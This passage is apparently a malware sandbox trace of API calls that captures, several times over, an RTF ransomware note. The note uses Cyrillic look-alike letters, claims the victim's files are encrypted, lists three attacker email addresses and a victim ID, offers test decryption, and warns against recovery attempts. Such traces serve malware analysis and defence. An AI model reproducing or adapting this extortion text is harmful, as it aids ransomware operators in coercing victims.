\\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl 